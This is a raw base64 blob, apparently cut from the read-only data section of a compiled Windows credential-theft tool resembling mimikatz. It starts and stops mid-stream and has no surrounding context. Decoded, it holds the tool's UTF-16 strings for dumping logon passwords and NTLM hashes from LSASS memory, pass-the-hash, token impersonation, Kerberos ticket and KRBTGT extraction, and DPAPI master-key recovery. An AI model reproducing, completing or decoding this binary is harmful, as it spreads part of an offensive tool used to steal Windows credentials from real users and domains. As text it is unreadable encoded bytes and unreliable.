IABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwBfAHAAYQByAHMAZQBGAGkAZQBsAGQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIAByAGUAYQBkACAAZQBsAGUAbQBlAG4AdABzACAAZgByAG8AbQAgAGMAbwBsAHUAbQBuADoAIAAlAHUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIAByAGUAZgBlAHIAZQBuAGMAZQBzACAAZgByAG8AbQAgAGMAbwBsAHUAbQBuADoAIAAlAHUACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAHIAZQBmAGUAcgBlAG4AYwBlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAXwBwAGEAcgBzAGUARgBpAGUAbABkACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAcgBlAGEAZAAgAGYAaQByAHMAdAAgAGUAbABlAG0AZQBuAHQACgAAAAAAAABsAHMAYQBzAHIAdgAAAAAATHNhSUNhbmNlbE5vdGlmaWNhdGlvbgAATHNhSVJlZ2lzdGVyTm90aWZpY2F0aW9uAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAG4AdAA1AF8AaQBuAGkAdAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AcwBlAGEAcgBjAGgACgAAAAAAYgBjAHIAeQBwAHQAAAAAAEJDcnlwdE9wZW5BbGdvcml0aG1Qcm92aWRlcgAAAAAAQkNyeXB0U2V0UHJvcGVydHkAAAAAAAAAQkNyeXB0R2V0UHJvcGVydHkAAAAAAAAAQkNyeXB0R2VuZXJhdGVTeW1tZXRyaWNLZXkAAAAAAABCQ3J5cHRFbmNyeXB0AAAAQkNyeXB0RGVjcnlwdAAAAEJDcnlwdERlc3Ryb3lLZXkAAAAAAAAAAEJDcnlwdENsb3NlQWxnb3JpdGhtUHJvdmlkZXIAAAAAMwBEAEUAUwAAAAAAAAAAAEMAaABhAGkAbgBpAG4AZwBNAG8AZABlAEMAQgBDAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAAAAAAAAAAABPAGIAagBlAGMAdABMAGUAbgBnAHQAaAAAAAAAAAAAAEEARQBTAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAQwBGAEIAAABtAHMAdgAAAEwAaQBzAHQAcwAgAEwATQAgACYAIABOAFQATABNACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAdwBkAGkAZwBlAHMAdAAAAEwAaQBzAHQAcwAgAFcARABpAGcAZQBzAHQAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAAAATABpAHMAdABzACAASwBlAHIAYgBlAHIAbwBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAB0AHMAcABrAGcAAAAAAAAATABpAHMAdABzACAAVABzAFAAawBnACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAbABpAHYAZQBzAHMAcAAAAEwAaQBzAHQAcwAgAEwAaQB2AGUAUwBTAFAAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAAAAcwBzAHAAAABMAGkAcwB0AHMAIABTAFMAUAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAABsAG8AZwBvAG4AUABhAHMAcwB3AG8AcgBkAHMAAAAAAEwAaQBzAHQAcwAgAGEAbABsACAAYQB2AGEAaQBsAGEAYgBsAGUAIABwAHIAbwB2AGkAZABlAHIAcwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAAAAAAAAAAAAAFMAdwBpAHQAYwBoACAAKABvAHIAIAByAGUAaQBuAGkAdAApACAAdABvACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgACAAYwBvAG4AdABlAHgAdAAAAAAAAAAAAG0AaQBuAGkAZAB1AG0AcAAAAAAAAAAAAAAAAAAAAAAAUwB3AGkAdABjAGgAIAAoAG8AcgAgAHIAZQBpAG4AaQB0ACkAIAB0AG8AIABMAFMAQQBTAFMAIABtAGkAbgBpAGQAdQBtAHAAIABjAG8AbgB0AGUAeAB0AAAAAAAAAAAAcAB0AGgAAABQAGEAcwBzAC0AdABoAGUALQBoAGEAcwBoAAAAAAAAAGsAcgBiAHQAZwB0ACEAAABkAHAAYQBwAGkAcwB5AHMAdABlAG0AAABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAgAHMAZQBjAHIAZQB0AAAAQQBuAHQAaQBzAG8AYwBpAGEAbAAAAAAAUAByAGUAZgBlAHIAcgBlAGQAIABCAGEAYwBrAHUAcAAgAE0AYQBzAHQAZQByACAAawBlAHkAcwAAAAAAAAAAAHQAaQBjAGsAZQB0AHMAAABMAGkAcwB0ACAASwBlAHIAYgBlAHIAbwBzACAAdABpAGMAawBlAHQAcwAAAAAAAABlAGsAZQB5AHMAAAAAAAAATABpAHMAdAAgAEsAZQByAGIAZQByAG8AcwAgAEUAbgBjAHIAeQBwAHQAaQBvAG4AIABLAGUAeQBzAAAAAAAAAEwAaQBzAHQAIABDAGEAYwBoAGUAZAAgAE0AYQBzAHQAZQByAEsAZQB5AHMAAAAAAGMAcgBlAGQAbQBhAG4AAABMAGkAcwB0ACAAQwByAGUAZABlAG4AdABpAGEAbABzACAATQBhAG4AYQBnAGUAcgAAAAAAAAAAAHMAZQBrAHUAcgBsAHMAYQAAAAAAAAAAAFMAZQBrAHUAcgBMAFMAQQAgAG0AbwBkAHUAbABlAAAAUwBvAG0AZQAgAGMAbwBtAG0AYQBuAGQAcwAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYwByAGUAZABlAG4AdABpAGEAbABzAC4ALgAuAAAAAAAAAFMAdwBpAHQAYwBoACAAdABvACAAUABSAE8AQwBFAFMAUwAKAAAAAABTAHcAaQB0AGMAaAAgAHQAbwAgAE0ASQBOAEkARABVAE0AUAAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAG0AaQBuAGkAZAB1AG0AcAAgADsAIAA8AG0AaQBuAGkAZAB1AG0AcABmAGkAbABlAC4AZABtAHAAPgAgAGEAcgBnAHUAbQBlAG4AdAAgAGkAcwAgAG0AaQBzAHMAaQBuAGcACgAAAAAAAAAAAAAAAAAAAAAATwBwAGUAbgBpAG4AZwAgADoAIAAnACUAcwAnACAAZgBpAGwAZQAgAGYAbwByACAAbQBpAG4AaQBkAHUAbQBwAC4ALgAuAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAZgBvAHUAbgBkACAAKAA/ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIABwAEkAbgBmAG8AcwAtAD4ATQBhAGoAbwByAFYAZQByAHMAaQBvAG4AIAAoACUAdQApACAAIQA9ACAATQBJAE0ASQBLAEEAVABaAF8ATgBUAF8ATQBBAEoATwBSAF8AVgBFAFIAUwBJAE8ATgAgACgAJQB1ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHAASQBuAGYAbwBzAC0APgBQAHIAbwBjAGUAcwBzAG8AcgBBAHIAYwBoAGkAdABlAGMAdAB1AHIAZQAgACgAJQB1ACkAIAAhAD0AIABQAFIATwBDAEUAUwBTAE8AUgBfAEEAUgBDAEgASQBUAEUAQwBUAFUAUgBFAF8AQQBNAEQANgA0ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AaQBuAGkAZAB1AG0AcAAgAHcAaQB0AGgAbwB1AHQAIABTAHkAcwB0AGUAbQBJAG4AZgBvAFMAdAByAGUAYQBtACAAKAA/ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABLAGUAeQAgAGkAbQBwAG8AcgB0AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAG8AZwBvAG4AIABsAGkAcwB0AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAG8AZAB1AGwAZQBzACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAE0AZQBtAG8AcgB5ACAAbwBwAGUAbgBpAG4AZwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABIAGEAbgBkAGwAZQAgAG8AbgAgAG0AZQBtAG8AcgB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAbwBjAGEAbAAgAEwAUwBBACAAbABpAGIAcgBhAHIAeQAgAGYAYQBpAGwAZQBkAAoAAAAAAAAAAAAJACUAcwAgADoACQAAAAAAVQBuAGQAZQBmAGkAbgBlAGQATABvAGcAbwBuAFQAeQBwAGUAAAAAAFUAbgBrAG4AbwB3AG4AIAAhAAAAAAAAAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAE4AZQB0AHcAbwByAGsAAABCAGEAdABjAGgAAAAAAAAAUwBlAHIAdgBpAGMAZQAAAFAAcgBvAHgAeQAAAAAAAABVAG4AbABvAGMAawAAAAAATgBlAHQAdwBvAHIAawBDAGwAZQBhAHIAdABlAHgAdAAAAAAAAAAAAE4AZQB3AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAUgBlAG0AbwB0AGUASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAAAAAAAEMAYQBjAGgAZQBkAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAAAAAAAABDAGEAYwBoAGUAZABSAGUAbQBvAHQAZQBJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABDAGEAYwBoAGUAZABVAG4AbABvAGMAawAAAAAAAAAAAAoAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACAASQBkACAAOgAgACUAdQAgADsAIAAlAHUAIAAoACUAMAA4AHgAOgAlADAAOAB4ACkACgBTAGUAcwBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBzACAAZgByAG8AbQAgACUAdQAKAFUAcwBlAHIAIABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAEQAbwBtAGEAaQBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAEwAbwBnAG8AbgAgAFMAZQByAHYAZQByACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAAAAAAAAAAAATABvAGcAbwBuACAAVABpAG0AZQAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAUwBJAEQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAUAByAGUAdgBpAG8AdQBzAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBrAHIAYgB0AGcAdAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGYAaQBuAGQAIABLAEQAQwAgAHAAYQB0AHQAZQByAG4AIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AawByAGIAdABnAHQAIAA7ACAASwBEAEMAIABzAGUAcgB2AGkAYwBlACAAbgBvAHQAIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAACgAlAHMAIABrAHIAYgB0AGcAdAA6ACAAAAAAAAAAAAAlAHUAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMACgAAAAkAIAAqACAAJQBzACAAOgAgAAAAAAAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNAAoAAAAAAAAAZgB1AGwAbAA6ACAAAAAAAAoAbQAvAHUAIAA6ACAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAATgBvAHQAIABpAG4AaQB0AGkAYQBsAGkAegBlAGQAIQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGQAcABhAHAAaQBfAHMAeQBzAHQAZQBtACAAOwAgAFAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAgAGkAbgAgAEQAUABBAFAASQAgAHMAZQByAHYAaQBjAGUACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBkAHAAYQBwAGkAXwBzAHkAcwB0AGUAbQAgADsAIABEAFAAQQBQAEkAIABzAGUAcgB2AGkAYwBlACAAbgBvAHQAIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwB0AHIAdQBzAHQAIAA7ACAAUABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkACAAaQBuACAASwBEAEMAIABzAGUAcgB2AGkAYwBlAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHQAcgB1AHMAdAAgADsAIABLAEQAQwAgAHMAZQByAHYAaQBjAGUAIABuAG8AdAAgAGkAbgAgAEwAUwBBAFMAUwAgAG0AZQBtAG8AcgB5AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AdAByAHUAcwB0ACAAOwAgAE8AbgBsAHkAIABmAG8AcgAgAD4APQAgADIAMAAwADgAcgAyAAoAAAAAAAAACgAgACAAWwAlAHMAXQAgAAAAAAAAAAAALQA+ACAAJQB3AFoACgAAACUAdwBaACAALQA+AAoAAAAJAGYAcgBvAG0AOgAgAAAACQAqACAAJQBzACAAOgAgAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGIAawBlAHkAIAA7ACAAUABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkACAAaQBuACAARABQAEEAUABJACAAcwBlAHIAdgBpAGMAZQAKAAAAAAAAAAAAaQBtAHAAZQByAHMAbwBuAGEAdABlAAAAcgB1AG4AAAB5AGUAcwAAAG4AbwAAAAAAAAAAAAAAAAB1AHMAZQByAAkAOgAgACUAcwAKAGQAbwBtAGEAaQBuAAkAOgAgACUAcwAKAHAAcgBvAGcAcgBhAG0ACQA6ACAAJQBzAAoAaQBtAHAAZQByAHMALgAJADoAIAAlAHMACgAAAAAAAAAAAEEARQBTADEAMgA4AAkAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAEEARQBTADIANQA2AAkAOgAgAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAANgA0ACAAKAAzADIAIABiAHkAdABlAHMAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABBAEUAUwAyADUANgAgAGsAZQB5ACAAbwBuAGwAeQAgAHMAdQBwAHAAbwByAHQAZQBkACAAZgByAG8AbQAgAFcAaQBuAGQAbwB3AHMAIAA4AC4AMQAgACgAbwByACAANwAvADgAIAB3AGkAdABoACAAawBiADIAOAA3ADEAOQA5ADcAKQAKAAAATgBUAEwATQAJADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAbgB0AGwAbQAgAGgAYQBzAGgALwByAGMANAAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAIAAgAHwAIAAgAFAASQBEACAAIAAlAHUACgAgACAAfAAgACAAVABJAEQAIAAgACUAdQAKAAAAAAAgACAAfAAgACAATABVAEkARAAgACUAdQAgADsAIAAlAHUAIAAoACUAMAA4AHgAOgAlADAAOAB4ACkACgAAAAAAIAAgAFwAXwAgAG0AcwB2ADEAXwAwACAAIAAgAC0AIAAAAAAAAAAAACAAIABcAF8AIABrAGUAcgBiAGUAcgBvAHMAIAAtACAAAAAAAAAAAAAqACoAIABUAG8AawBlAG4AIABJAG0AcABlAHIAcwBvAG4AYQB0AGkAbwBuACAAKgAqAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAARAB1AHAAbABpAGMAYQB0AGUAVABvAGsAZQBuAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEcAZQB0AFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwBpAHQAaABMAG8AZwBvAG4AVwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAdAAgAGwAZQBhAHMAdAAgAG8AbgBlACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAG4AdABsAG0ALwByAGMANAAgAE8AUgAgAGEAZQBzADEAMgA4ACAATwBSACAAYQBlAHMAMgA1ADYACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABkAG8AbQBhAGkAbgAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAdQBzAGUAcgAKAAAAAAAAAAAACgAJACAAKgAgAFUAcwBlAHIAbgBhAG0AZQAgADoAIAAlAHcAWgAKAAkAIAAqACAARABvAG0AYQBpAG4AIAAgACAAOgAgACUAdwBaAAAAAAAKAAkAIAAqACAATABNACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAACgAJACAAKgAgAE4AVABMAE0AIAAgACAAIAAgADoAIAAAAAAAAAAAAAoACQAgACoAIABTAEgAQQAxACAAIAAgACAAIAA6ACAAAAAAAAAAAAAKAAkAIAAqACAAUgBhAHcAIABkAGEAdABhACAAOgAgAAAAAAAAAAAACgAJACAAKgAgAFMAbQBhAHIAdABjAGEAcgBkAAAAAAAKAAkAIAAgACAAIAAgAFAASQBOACAAYwBvAGQAZQAgADoAIAAlAHcAWgAAAAAAAAAKAAkAIAAgACAAIAAgAEMAYQByAGQAIAAgACAAIAAgADoAIAAlAHMACgAJACAAIAAgACAAIABSAGUAYQBkAGUAcgAgACAAIAA6ACAAJQBzAAoACQAgACAAIAAgACAAQwBvAG4AdABhAGkAbgBlAHIAOgAgACUAcwAKAAkAIAAgACAAIAAgAFAAcgBvAHYAaQBkAGUAcgAgADoAIAAlAHMAAAAAAAAAAAAJACAAIAAgACUAcwAgAAAAPABuAG8AIABzAGkAegBlACwAIABiAHUAZgBmAGUAcgAgAGkAcwAgAGkAbgBjAG8AcgByAGUAYwB0AD4AAAAAACUAdwBaAAkAJQB3AFoACQAAAAAAAAAAAAoACQAgACoAIABVAHMAZQByAG4AYQBtAGUAIAA6ACAAJQB3AFoACgAJACAAKgAgAEQAbwBtAGEAaQBuACAAIAAgADoAIAAlAHcAWgAKAAkAIAAqACAAUABhAHMAcwB3AG8AcgBkACAAOgAgAAAAAABMAFUASQBEACAASwBPAAoAAAAAAAAAAAAKAAkAIAAqACAAUgBvAG8AdABLAGUAeQAgACAAOgAgAAAAAAAAAAAACgAJACAAKgAgAEQAUABBAFAASQAgACAAIAAgADoAIAAAAAAAAAAAAAoACQAgACoAIAAlADAAOAB4ACAAOgAgAAAAAAAAAAAACgAJACAAIAAgACoAIABMAFMAQQAgAEkAcwBvAGwAYQB0AGUAZAAgAEQAYQB0AGEAOgAgACUALgAqAFMAAAAAAAoACQAgACAAIAAgACAAVQBuAGsALQBLAGUAeQAgACAAOgAgAAAAAAAKAAkAIAAgACAAIAAgAEUAbgBjAHIAeQBwAHQAZQBkADoAIAAAAAAACgAJAAkAIAAgACAAUwBTADoAJQB1ACwAIABUAFMAOgAlAHUALAAgAEQAUwA6ACUAdQAAAAAAAAAKAAkACQAgACAAIAAwADoAMAB4ACUAeAAsACAAMQA6ADAAeAAlAHgALAAgADIAOgAwAHgAJQB4ACwAIAAzADoAMAB4ACUAeAAsACAANAA6ADAAeAAlAHgALAAgAEUAOgAAAAAAAAAAACwAIAA1ADoAMAB4ACUAeAAAAAAAAAAAAAoACQAgAFsAJQAwADgAeABdAAAAAAAAAGQAcABhAHAAaQBzAHIAdgAuAGQAbABsAAAAAAAAAAAACQAgAFsAJQAwADgAeABdAAoACQAgACoAIABHAFUASQBEACAAIAAgACAAIAAgADoACQAAAAAAAAAKAAkAIAAqACAAVABpAG0AZQAgACAAIAAgACAAIAA6AAkAAAAAAAAACgAJACAAKgAgAE0AYQBzAHQAZQByAEsAZQB5ACAAOgAJAAAAAAAAAAoACQAgACoAIABzAGgAYQAxACgAawBlAHkAKQAgADoACQAAAAAAAAAKAAkASwBPAAAAAAAAAAAAawBlAHIAYgBlAHIAbwBzAC4AZABsAGwAAAAAAAAAAABUAGkAYwBrAGUAdAAgAEcAcgBhAG4AdABpAG4AZwAgAFMAZQByAHYAaQBjAGUAAABDAGwAaQBlAG4AdAAgAFQAaQBjAGsAZQB0ACAAPwAAAFQAaQBjAGsAZQB0ACAARwByAGEAbgB0AGkAbgBnACAAVABpAGMAawBlAHQAAAAAAAoACQBHAHIAbwB1AHAAIAAlAHUAIAAtACAAJQBzAAAACgAJACAAKgAgAEsAZQB5ACAATABpAHMAdAAgADoACgAAAAAAAAAAAGQAYQB0AGEAIABjAG8AcAB5ACAAQAAgACUAcAAAAAAACgAgACAAIABcAF8AIAAlAHMAIAAAAAAALQA+ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGUAbgB1AG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGEAbABsAGIAYQBjAGsAXwBwAHQAaAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAgACAAIABcAF8AIAAqAFAAYQBzAHMAdwBvAHIAZAAgAHIAZQBwAGwAYQBjAGUAIAAtAD4AIAAAAAAAAAAAAG4AdQBsAGwAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgB1AG0AXwB0AGkAYwBrAGUAdABzACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAACgAJACAAIAAgAEwAUwBBACAAUwBlAHMAcwBpAG8AbgAgAEsAZQB5ACAAIAAgADoAIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAAAAABbACUAeAA7ACUAeABdAC0AJQAxAHUALQAlAHUALQAlADAAOAB4AC0AJQB3AFoAQAAlAHcAWgAtACUAdwBaAC4AJQBzAAAAAABbACUAeAA7ACUAeABdAC0AJQAxAHUALQAlAHUALQAlADAAOAB4AC4AJQBzAAAAAABsAGkAdgBlAHMAcwBwAC4AZABsAGwAAABQcmltYXJ5AENyZWRlbnRpYWxLZXlzAAAKAAkAIABbACUAMAA4AHgAXQAgACUAWgAAAAAAAAAAAGQAYQB0AGEAIABjAG8AcAB5ACAAQAAgACUAcAAgADoAIAAAAAAAAABPAEsAIAAhAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBtAHMAdgBfAGUAbgB1AG0AXwBjAHIAZQBkAF8AYwBhAGwAbABiAGEAYwBrAF8AcAB0AGgAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAG4ALgBlAC4AIAAoAEsASQBXAEkAXwBNAFMAVgAxAF8AMABfAFAAUgBJAE0AQQBSAFkAXwBDAFIARQBEAEUATgBUAEkAQQBMAFMAIABLAE8AKQAAAAAAAAAAAAAAAAAAAG4ALgBlAC4AIAAoAEsASQBXAEkAXwBNAFMAVgAxAF8AMABfAEMAUgBFAEQARQBOAFQASQBBAEwAUwAgAEsATwApAAAAAAAAAHQAcwBwAGsAZwAuAGQAbABsAAAAAAAAAHcAZABpAGcAZQBzAHQALgBkAGwAbAAAAAAAAAAAAAAA90x/HeraSD4AAAAAAADwPwAAAABwmZRBAAAAAAAAoEEAAMhCAAAAAAAAAAAAAOBDAAAAAAAA8L8AAAAAAADgw0FBQUFBQUFBAAAAAAAAAABCQkJCQkJCQgAAAAAAAAAAQ0NDQ0NDQ0MAAAAAAAAAAEREREREREREAAAAAAAAAABFRUVFRUVFRQAAAAAAAAAARkZGRkZGRkYAAAAAAAAAAEdHR0dH